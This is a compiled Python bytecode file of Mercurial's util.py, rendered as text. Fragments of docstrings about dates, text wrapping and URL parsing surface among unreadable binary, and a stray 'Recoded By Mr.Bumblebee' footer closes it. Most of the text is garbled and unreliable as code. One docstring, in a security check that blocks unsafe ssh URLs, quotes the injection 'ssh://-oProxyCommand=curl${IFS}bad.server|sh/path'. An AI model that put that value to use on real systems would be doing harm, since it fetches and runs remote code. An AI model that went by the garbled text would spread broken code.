|d<t|t|dS(Nt12Rt23Rt59RRt31t30t29Rit28(RRR(RRRy(RRR((s2/usr/lib/python2.7/dist-packages/mercurial/util.pyRs"



s+dates cannot consist entirely of whitespaceit<isinvalid day spec, use '<DATE'cs
|kS(N((R(R(s2/usr/lib/python2.7/dist-packages/mercurial/util.pyt<lambda>st>sinvalid day spec, use '>DATE'cs
|kS(N((R(R(s2/usr/lib/python2.7/dist-packages/mercurial/util.pyRsRsinvalid day spec: %ss,%s must be nonnegative (see 'hg help dates')iics
|kS(N((R(R(s2/usr/lib/python2.7/dist-packages/mercurial/util.pyRss to cs|ko|kS(N((R(tstarttstop(s2/usr/lib/python2.7/dist-packages/mercurial/util.pyRscs|ko|kS(N((R(RR(s2/usr/lib/python2.7/dist-packages/mercurial/util.pyRsN(RRyRRRRR(RRRRRR((RRRs2/usr/lib/python2.7/dist-packages/mercurial/util.pyt	matchdates>		





cCs|jd}|dkr(|| }n|jd}|dkrT||d}n|jd}|dkr||| }n|jd}|dkr|| }n|S(s>Return a short representation of a user name or email address.RiRiRR(R1(tuserR1((s2/usr/lib/python2.7/dist-packages/mercurial/util.pyt	shortusers


cCsX|jd}|dkr(|| }n|jd}|dkrT||d}n|S(s,Return the user portion of an email address.RiRi(R1(RR1((s2/usr/lib/python2.7/dist-packages/mercurial/util.pyt	emailuser.s
cCs<|jd}|dkr$d}n||jdd|!S(sget email of author.RiRiN(R1RR(tauthorR((s2/usr/lib/python2.7/dist-packages/mercurial/util.pytemail8s	icCstj||ddS(sCTrim string to at most maxlength (default: 400) columns in display.tellipsiss...(tencodingttrim(Rft	maxlength((s2/usr/lib/python2.7/dist-packages/mercurial/util.pyR?scsfd}|S(s@return a function that renders a readable count of some quantitycsLx9D]1\}}}|||kr||t|SqWdd|S(Nii(R(tcountt
multipliertdivisorR(t	unittable(s2/usr/lib/python2.7/dist-packages/mercurial/util.pytgoFs((RR((Rs2/usr/lib/python2.7/dist-packages/mercurial/util.pytunitcountfnCsidiis%.0f GBi
s%.1f GBs%.2f GBis%.0f MBs%.1f MBs%.2f MBs%.0f KBs%.1f KBs%.2f KBs
%.0f bytescCst|jddS(Ns\\s\(treprRv(R
((s2/usr/lib/python2.7/dist-packages/mercurial/util.pytuirepr[scKs)dtjfdY}|a||S(NttwcBs2eZdZdZdZdZdZRS(s8
        Extend TextWrapper for width-awareness.

        Neither number of 'bytes' in any encoding nor 'characters' is
        appropriate to calculate terminal columns for specified string.

        Original TextWrapper implementation uses built-in 'len()' directly,
        so overriding is needed to use width information of each characters.

        In addition, characters classified into 'ambiguous' width are
        treated as wide in East Asian area, but as narrow in other.

        This requires use decision to determine width of such characters.
        c[sGtjj||t|dddkrC|jdt|_ndS(Ntdrop_whitespace(ttextwraptTextWrapperRDRRRRRR(R9R((s2/usr/lib/python2.7/dist-packages/mercurial/util.pyRDpscSshd}tj}xLtt|D]8}||||7}||kr"|| ||fSq"W|dfS(NiR(Rt	ucolwidthtxrangeR-(R9tucstrt
space_leftRstcolwidthR;((s2/usr/lib/python2.7/dist-packages/mercurial/util.pyt_cutdownws	cSsrt||d}|jrR|j|d|\}}|j|||d<n|sn|j|jndS(Nii(Rtbreak_long_wordsRR.R(R9treversed_chunkstcur_linetcur_lentwidthRtcuttres((s2/usr/lib/python2.7/dist-packages/mercurial/util.pyt_handle_long_words	

c	Sstj}g}|jdkr4td|jn|jxH|rg}d}|re|j}n	|j}|jt|}|jr|dj	dkr|r|d=nxK|r||d}|||kr|j
|j||7}qPqW|r3||d|kr3|j||||n|jrb|rb|dj	dkrb|d=n|rA|j
|dj
|qAqAW|S(Nisinvalid width %r (must be > 0)iR(RRRRRtsubsequent_indenttinitial_indentR-RRR.RRR(	R9RkRtlinesRRtindentRRs((s2/usr/lib/python2.7/dist-packages/mercurial/util.pyt_wrap_chunkss8	
		%
	
	
!(R>R?RQRDRRR(((s2/usr/lib/python2.7/dist-packages/mercurial/util.pyRas
		
	(RRt
MBTextWrapper(RR((s2/usr/lib/python2.7/dist-packages/mercurial/util.pyR`sjcCstt|t|}||kr=td|d}n|jtjtj}|jtjtj}|jtjtj}td|d|d|}|j|jtjS(NiNiRRR(RR-tdecodeRtencodingmodeRtfilltencode(RRt
initindentt
hangindentt	maxindenttwrapper((s2/usr/lib/python2.7/dist-packages/mercurial/util.pytwraps	ccs1x*|D]"}x|jD]}|VqWqWdS(N(t
splitlines(titeratorRR((s2/usr/lib/python2.7/dist-packages/mercurial/util.pyt	iterliness
cCstjjtjj|S(N(RrRt
expandusert
expandvars(R((s2/usr/lib/python2.7/dist-packages/mercurial/util.pyt
expandpathscCstrtjgStS(sReturn the command used to execute current hg

    This is different from hgexecutable() because on Windows we want
    to avoid things opening new shell windows like batch files, so we
    get either the python call or current executable.
    (RR
Rtgethgcmd(((s2/usr/lib/python2.7/dist-packages/mercurial/util.pythgcmds	
cstfd}d}ttdd}|dk	rQtj||}nzXt|}xA|s|kst|r|rdStjdqcW|SWd|dk	rtjtj|nXdS(s_Execute the argument list in a detached process.

    condfn is a callable which is called repeatedly and should return
    True once the child process is known to have started successfully.
    At this point, the child process PID is returned. If the child
    process fails to start or finishes before condfn() evaluates to
    True, return -1.
    csjtjdS(N(taddRrR(tsignumtframe(t
terminated(s2/usr/lib/python2.7/dist-packages/mercurial/util.pythandlerstSIGCHLDig?N(	tsetRRRtsignalt
spawndetachedttestpidR|tsleepR
(R3tcondfnR	tprevhandlerR
tpid((Rs2/usr/lib/python2.7/dist-packages/mercurial/util.pytrundetacheds 	
cCsx|D]}|rtSqWtS(N(RR(titerableR;((s2/usr/lib/python2.7/dist-packages/mercurial/util.pytanys
cCsx|D]}|stSqWtS(N(RR(RR;((s2/usr/lib/python2.7/dist-packages/mercurial/util.pytalls
cspddjj}|rj|d|7}t|dkrW|d}n|}||<ntjd||f}|jfd|S(sReturn the result of interpolating items in the mapping into string s.

    prefix is a single character string, or a two character string with
    a backslash as the first character if the prefix needs to be escaped in
    a regular expression.

    fn is an optional function that will be applied to the replacement text
    just before replacement.

    escape_prefix is an optional flag that allows using doubled prefix for
    its escaping.
    cSs|S(N((R
((s2/usr/lib/python2.7/dist-packages/mercurial/util.pyR-st|is%s(%s)cs|jdS(Ni(tgroup(R(Rtmapping(s2/usr/lib/python2.7/dist-packages/mercurial/util.pyR7s(RROR-R(R+tsub(RjRR
Rt
escape_prefixtpatternstprefix_charR((RRs2/usr/lib/python2.7/dist-packages/mercurial/util.pytinterpolate s


cCsdyt|SWntk
r!nXytj|SWn*tjk
r_ttd|nXdS(sReturn the port for a given network service.

    If port is an integer, it's returned as is. If it's a string, it's
    looked up using socket.getservbyname(). If there's no matching
    service, util.Abort is raised.
    s+no port number associated with service '%s'N(RRtsockett
getservbynameRRyR(tport((s2/usr/lib/python2.7/dist-packages/mercurial/util.pytgetport9s
RtyesttruetonRRtnotfalsetoffRcCstj|jdS(sLParse s into a boolean.

    If s is not a valid boolean, returns None.
    N(t	_booleansRRRR(R
((s2/usr/lib/python2.7/dist-packages/mercurial/util.pyt	parseboolNst0123456789ABCDEFabcdefccs?|]5}tD](}||tt||dfVq
qdS(iN(t_hexdigtchrR(RRR((s2/usr/lib/python2.7/dist-packages/mercurial/util.pys	<genexpr>VscCs|jd}t|dkr%|S|d}x|dD]{}y|t|d |d7}Wq:tk
r|d|7}q:tk
r|tt|d d|d7}q:Xq:W|S(sQDecode HTTP/HTML % encoding.

    >>> _urlunquote('abc%20def')
    'abc def'
    Riiii(RR-t	_hextochrtKeyErrortUnicodeDecodeErrortunichrR(R
Rtitem((s2/usr/lib/python2.7/dist-packages/mercurial/util.pyt_urlunquoteYs


-turlcBsqeZdZdZdZejdjZe	e	dZ
dZdZdZ
dZd	Zd
ZRS(sReliable URL parser.

    This parses URLs and provides attributes for the following
    components:

    <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>

    Missing components are set to None. The only exception is
    fragment, which is set to '' if present but empty.

    If parsefragment is False, fragment is included in query. If
    parsequery is False, query is included in path. If both are
    False, both fragment and query are included in path.

    See http://www.ietf.org/rfc/rfc2396.txt for more information.

    Note that for backward compatibility reasons, bundle URLs do not
    take host names. That means 'bundle://../' has a path of '../'.

    Examples:

    >>> url('http://www.ietf.org/rfc/rfc2396.txt')
    <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
    >>> url('ssh://[::1]:2200//home/joe/repo')
    <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
    >>> url('file:///home/joe/repo')
    <url scheme: 'file', path: '/home/joe/repo'>
    >>> url('file:///c:/temp/foo/')
    <url scheme: 'file', path: 'c:/temp/foo/'>
    >>> url('bundle:foo')
    <url scheme: 'bundle', path: 'foo'>
    >>> url('bundle://../foo')
    <url scheme: 'bundle', path: '../foo'>
    >>> url(r'c:\foo\bar')
    <url path: 'c:\\foo\\bar'>
    >>> url(r'\\blah\blah\blah')
    <url path: '\\\\blah\\blah\\blah'>
    >>> url(r'\\blah\blah\blah#baz')
    <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
    >>> url(r'file:///C:\users\me')
    <url scheme: 'file', path: 'C:\\users\\me'>

    Authentication credentials:

    >>> url('ssh://joe:xyz@x/repo')
    <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
    >>> url('ssh://joe@x/repo')
    <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>

    Query strings and fragments:

    >>> url('http://host/a?b#c')
    <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
    >>> url('http://host/a?b#c', parsequery=False, parsefragment=False)
    <url scheme: 'http', host: 'host', path: 'a?b#c'>
    s!~*'()+s
/!~*'()+:\s^[a-zA-Z0-9+.\-]+:cCsd|_|_|_|_d|_|_|_|_t	|_
d|_||_|rd|kr|j
dd\}|_|sd}qnt|s|jdr||_dS|jdr	d|_|d}|jdr|d	}n||_dS|j|rR|j
d
d}|drR|\|_}t|_
qRn|swd}|j
rd|_dSnF|j
r||_dS|rd|kr|j
dd\}|_|sd}n|jsd|_qn|r{|jdr{|d	j
d
d}t|dkr0|\|_}n|d|_d}|js{d|_|rxt|rxd
|}qxq{n|jrd|jkr|jjdd\|_|_d
|jkr|jj
d
d\|_|_n|jsd|_qn|jrd
|jkr|jjdo8|jjdr|j|_|jjd
d\|_|_|jsd|_qn|jr|jdkr|jdkrttdn||_xBdD]:}t||}|dk	rt||t|qqWdS(NRt#is\\sbundle:tbundleis//it:it?RRt[t]tfilet	localhosts	127.0.0.1s[::1]s(file:// URLs can only refer to localhostRtpasswdthostR!Rtfragment(R<s	127.0.0.1s[::1](suserspasswdshostsportspathsfragment(RRtschemeRR=R>R!RtqueryR?Rt
_localpatht	_hostportt	_origpathRthasdriveletterRt_matchschemeRR-trsplitRRyRRtsetattrR3(R9Rt
parsequeryt
parsefragmenttpartsRR<((s2/usr/lib/python2.7/dist-packages/mercurial/util.pyRDs					

	
						
		!$	%!		
cCs]g}xCdD];}t||}|dk	r
|jd	||fq
q
Wd
dj|S(
NR@RR=R>R!RRAR?s%s: %rs<url %s>s, (sschemesuserspasswdshostsportspathsquerysfragment(RRRR.R(R9tattrsRR<((s2/usr/lib/python2.7/dist-packages/mercurial/util.pyt__repr__	s
cCsm|jrO|j}|jdkr.d|}n|jrK|d|j7}n|S|jd}|jsw|jsw|jr|d7}n]|jr|js|jjdst|jr|d7}t|jr|d7}qn|jr|t	j
|jd|j7}n|jr;|dt	j
|jd|j7}n|jsM|jrZ|d7}n|jr|jjd	o|jjd
s|t	j
|j7}q||j7}n|j
r|dt	j
|j
7}n|jr|d7}n|jr|t	j
|jd|j7}n|jr4|d|j7}n|jdk	ri|dt	j
|jd|j7}n|S(
sJoin the URL's components back into a URL string.

        Examples:

        >>> str(url('http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
        'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
        >>> str(url('http://user:pw@host:80/?foo=bar&baz=42'))
        'http://user:pw@host:80/?foo=bar&baz=42'
        >>> str(url('http://user:pw@host:80/?foo=bar%3dbaz'))
        'http://user:pw@host:80/?foo=bar%3dbaz'
        >>> str(url('ssh://user:pw@[::1]:2200//home/joe#'))
        'ssh://user:pw@[::1]:2200//home/joe#'
        >>> str(url('http://localhost:80//'))
        'http://localhost:80//'
        >>> str(url('http://localhost:80/'))
        'http://localhost:80/'
        >>> str(url('http://localhost:80'))
        'http://localhost:80/'
        >>> str(url('bundle:foo'))
        'bundle:foo'
        >>> str(url('bundle://../foo'))
        'bundle:../foo'
        >>> str(url('path'))
        'path'
        >>> str(url('file:///tmp/foo/bar'))
        'file:///tmp/foo/bar'
        >>> str(url('file:///c:/tmp/foo/bar'))
        'file:///c:/tmp/foo/bar'
        >>> print url(r'bundle:foo\bar')
        bundle:foo\bar
        >>> print url(r'file:///D:\data\hg')
        file:///D:\data\hg
        R6sbundle:R5R7s//RtsafeRR9R:R8N(RBRR@R?RR=R>RREturllibtquotet
_safecharsRR!t_safepcharsRARR(R9R
((s2/usr/lib/python2.7/dist-packages/mercurial/util.pyt__str__sH"		
	

%
	"	&
	$		
	"	&cCs|j|j}}z"d\|_|_t|}Wd|||_|_X|js_|dfS|d||jf|j|jpdffS(NR(NN(RR=RRRR>(R9RR=R
((s2/usr/lib/python2.7/dist-packages/mercurial/util.pytauthinfo_s	
cCs_|jr|jdkrtSt|jr/tS|jjdrEtS|jjdr[tStS(NR;s\\R(R@RRERRR(R9((s2/usr/lib/python2.7/dist-packages/mercurial/util.pyRoscCs|jdks|jdkr|jp*d}t|jrS|jd|j}n2|jdk	r|jrt|rd|}n|S|jS(NR;R6R(R@RRERCR>RRRD(R9R((s2/usr/lib/python2.7/dist-packages/mercurial/util.pyRzs

cCs&|jp%|jdkp%|jdkS(s?whether localpath will return something that posixfile can openR;R6(R@(R9((s2/usr/lib/python2.7/dist-packages/mercurial/util.pytislocals(R>R?RQRQRRR(R+R%RFRRDRMRSRTRRRU(((s2/usr/lib/python2.7/dist-packages/mercurial/util.pyR4ms8^			M			
cCstt|jS(N(RR4R@(R((s2/usr/lib/python2.7/dist-packages/mercurial/util.pyt	hasschemescCs*|o)|dd!dko)|dd!jS(NiiR7i(tisalpha(R((s2/usr/lib/python2.7/dist-packages/mercurial/util.pyREscCst|dtdtjS(NRIRJ(R4RR(R((s2/usr/lib/python2.7/dist-packages/mercurial/util.pyturllocalpathscCsPtj|}|jds-|jdrLtjtd|fndS(s\check if a path / url is a potentially unsafe ssh exploit (SEC)

    This is a sanity check for ssh urls. ssh will parse the first item as
    an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
    Let's prevent these potentially exploited urls entirely and warn the
    user.

    Raises an error.Abort when the url is unsafe.
    sssh://-ssvn+ssh://-spotentially unsafe url: %rN(ROtunquoteRRRyR(R((s2/usr/lib/python2.7/dist-packages/mercurial/util.pytchecksafesshs
cCs+t|}|jr!d|_nt|S(s$hide user credential in a url strings***(R4R=R(tu((s2/usr/lib/python2.7/dist-packages/mercurial/util.pythidepasswords	cCs&t|}d|_|_t|S(s7remove all authentication information from a url stringN(R4RRRR=R(R[((s2/usr/lib/python2.7/dist-packages/mercurial/util.pyt
removeauthscCs'y|jSWntk
r"tSXdS(N(tisattyRR(RA((s2/usr/lib/python2.7/dist-packages/mercurial/util.pyR^s
g@@s%.0f ss%.1f ss%.2f ss%.3f sgMbP?s%.1f mss%.2f mss%.3f msgư>s%.1f uss%.2f uss%.3f usg&.>s%.1f nss%.2f nss%.3f nscsfd}|S(sReport the execution time of a function call to stderr.

    During development, use as a decorator when you need to measure
    the cost of a function, e.g. as follows:

    @util.timed
    def foo(a, b, c):
        pass
    c	stj}d}tdc|7<z||SWdtj|}tdc|8<tjjddtdjt|fXdS(Niis	%s%s: %s
R(R|t_timenestingR
R'RtR>t	timecount(R3RRRtelapsed(R0(s2/usr/lib/python2.7/dist-packages/mercurial/util.pyRs((R0R((R0s2/usr/lib/python2.7/dist-packages/mercurial/util.pyttimedstmiRKtgtkbRtgbRcCs|jj}ySxBtD]:\}}|j|rtt|t| |SqWt|SWn*tk
rtj	t
d|nXdS(sConvert a space specifier to a byte count.

    >>> sizetoint('30')
    30
    >>> sizetoint('2.2kb')
    2252
    >>> sizetoint('6M')
    6291456
    scouldn't parse size: %sN(RRt
_sizeunitsRRRR-RRt
ParseErrorR(R
R
RKR[((s2/usr/lib/python2.7/dist-packages/mercurial/util.pyt	sizetoints
#
thookscBs)eZdZdZdZdZRS(sA collection of hook functions that can be used to extend a
    function's behaviour. Hooks are called in lexicographic order,
    based on the names of their sources.cCs
g|_dS(N(t_hooks(R9((s2/usr/lib/python2.7/dist-packages/mercurial/util.pyRDscCs|jj||fdS(N(RkR.(R9Rthook((s2/usr/lib/python2.7/dist-packages/mercurial/util.pyRscGsM|jjddg}x*|jD]\}}|j||q&W|S(NRHcSs|dS(Ni((R((s2/usr/lib/python2.7/dist-packages/mercurial/util.pyRs(RktsortR.(R9R3tresultsRRl((s2/usr/lib/python2.7/dist-packages/mercurial/util.pyt__call__s
(R>R?RQRDRRo(((s2/usr/lib/python2.7/dist-packages/mercurial/util.pyRjs		t
stacktracecCs|r|jn|jd|gtj|d D](\}}}}d||f|f^q:}|rtd|D}	x1|D]&\}
}|jd|	|
|fqWn|jdS(s'Writes a message to f (stderr) with a nicely formatted stacktrace.
    Skips the 'skip' last entries. By default it will flush stdout first.
    It can be used everywhere and do intentionally not require an ui object.
    Not be used in production code but very convenient while developing.
    s%s at:
is%s:%scss|]}t|dVqdS(iN(R-(Rtentry((s2/usr/lib/python2.7/dist-packages/mercurial/util.pys	<genexpr>ss %-*s in %s
N(RRtRt
extract_stackR(tmsgtskipR1totherfRtlnR0t_texttentriestfnmaxtfnln((s2/usr/lib/python2.7/dist-packages/mercurial/util.pytdebugstacktrace
s
A!(RQti18nRRRRRRR
RpRtreR(RrR|R}RRRtcollectionsRRROR_twindowsRxRt	cachestatt	checkexect	checklinkRtexecutablepathtexpandglobsRzRRtgetusertgroupmemberst	groupnamet
hidewindowtisexectisownerRt	lookupregR]R=R3R/t
openhardlinksRtparsepatchoutputRtpopenRRRZt
samedevicetsamefiletsamestatt	setbinarytsetflagstsetsignalhandlert
shellquoteR
RtsshargsRRt
statisexect
statislinkt	termwidthRtumaskR}t
unlinkpathtusernametobjectRRRR	Rt	NameErrorRRR RRRR%R(R&R+RRR6R7R=RRFR@RSR]R^RiRRRRRRyRRRRRRRRwRRRRRRtcheckosfilenameRRRR"R$R&R,R#R5R;RBRCRRHRQRRR_RdReRgRiRjRKRRRRRRRRRRRt	bytecountRRRRRRRRRRR"RR)R*R,R.R3R4RVRERXRZR\R]R^R`R_RbRgRiRjR'RR{R(((s2/usr/lib/python2.7/dist-packages/mercurial/util.pyt<module>s$<T$																																																	


		
	
	


	
		%
							
		:		
	/			
	
			


+		.	"			'&			3
)M	L		
				n
				#
	
	&
		
	 									'6	

Copyright © 2017 || Recoded By Mr.Bumblebee